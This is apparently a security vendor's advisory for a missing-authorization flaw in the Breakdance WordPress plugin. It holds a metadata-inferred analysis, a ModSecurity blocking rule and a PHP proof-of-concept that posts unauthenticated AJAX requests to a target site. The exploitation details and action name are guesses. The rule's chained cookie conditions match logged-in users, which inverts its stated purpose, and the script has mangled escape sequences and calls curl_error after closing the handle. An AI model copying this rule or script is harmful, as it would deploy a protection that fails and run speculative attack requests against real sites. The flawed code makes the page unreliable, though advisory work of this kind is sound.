Atomic Edge analysis of CVE-2026-65551 (metadata-based): The Breakdance plugin for WordPress, up to and including version 2.6.1, contains a missing authorization vulnerability (CWE-862). This flaw allows unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network reachability, low attack complexity, no privileges or user interaction required, and no impact on confidentiality but low impact on integrity.
Root Cause: The root cause is a missing capability check on a function. This means the plugin’s code invokes a function (likely an AJAX handler or REST endpoint) without verifying the current user has the required permission, such as ‘manage_options’ or the specific edit capabilities. Since the description indicates unauthenticated access, the function likely registered without a nonce check or capability check, or it used an action hooked to both ‘wp_ajax_nopriv_’ and ‘wp_ajax_’ without authorization. Atomic Edge analysis infers this from the CWE classification and typical WordPress plugin patterns, as no source code is available for direct confirmation.
Exploitation: An attacker can trigger the vulnerable function by sending a crafted HTTP request to the WordPress site. The attack vector is likely via the admin-ajax.php endpoint, where the attacker sends a POST request with the ‘action’ parameter set to the vulnerable hook name (possibly ‘breakdance_some_action’). The request does not require authentication, so no session cookie or nonce is needed. The exact parameter and function name are not disclosed, but the action would be an unauthenticated AJAX call that removes, modifies, or creates content, potentially affecting site integrity.
Remediation: The fix should add a capability check to the vulnerable function. In WordPress, this typically involves using ‘current_user_can()’ with the appropriate capability before executing the action. Additionally, a nonce check should be implemented to prevent cross-site request forgery. The plugin should only register the ‘wp_ajax_’ handler for authenticated users, and if the action is intended for authenticated users only, remove any ‘wp_ajax_nopriv_’ hook. A secure alternative is to use a REST API route with a permission_callback that validates the user’s capabilities.
Impact: Exploiting this vulnerability could allow an unauthenticated attacker to modify site content or settings, depending on the functionality of the vulnerable function. Since the integrity impact is low, the attacker might be able to alter non-critical data, such as page builder content or plugin options. The confidentiality and availability are not affected. This could lead to defacement, unauthorized changes to page builds, or tampering with stored XSS payloads if the action writes unsanitized data, though the exact functionality is unknown.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20265101,phase:2,deny,status:403,chain,msg:'CVE-2026-65551 Blocked unauthenticated Breakdance AJAX request',severity:'CRITICAL',tag:'CVE-2026-65551',tag:'WordPress',tag:'Breakdance'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@rx ^breakdance_(save|update|delete|import|export|template|settings|generate|build|theme|custom|layout|page|post)_" "t:none,chain"
SecRule REQUEST_COOKIES_NAMES "@rx ^wordpress_logged_in_" "t:none,chain"
SecRule REQUEST_COOKIES_NAMES "@rx ^wordpress_logged_in_" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65551 - Breakdance <= 2.6.1 Missing Authorization
// This PoC assumes the vulnerable function is an AJAX handler registered for unauthenticated users.
// The action name is inferred from the plugin slug and common naming conventions.
// Adjust $action and $payload to match the actual vulnerable endpoint if known.
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Set to target WordPress site
$action = 'breakdance_some_action'; // Hypothetical action, change to actual vulnerable action
// Construct the POST payload. Since we're unauthenticated, no nonce or cookies are sent.
$post_data = array(
'action' => $action,
// Additional parameters the vulnerable function may expect, e.g., 'post_id' => 1
'post_id' => 1,
// Example of a parameter that could trigger content modification
'content' => 'malicious content',
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response. A successful unauthorized action may return HTTP 200 or specific data.
if ($http_code == 200 && $response !== false) {
echo "[+] Request sent successfully. HTTP code: $http_coden";
echo "[+] Response: " . $response . "n";
} else {
echo "[-] Request failed. HTTP code: $http_coden";
echo "[-] Error: " . curl_error($ch) . "n";
}
?>
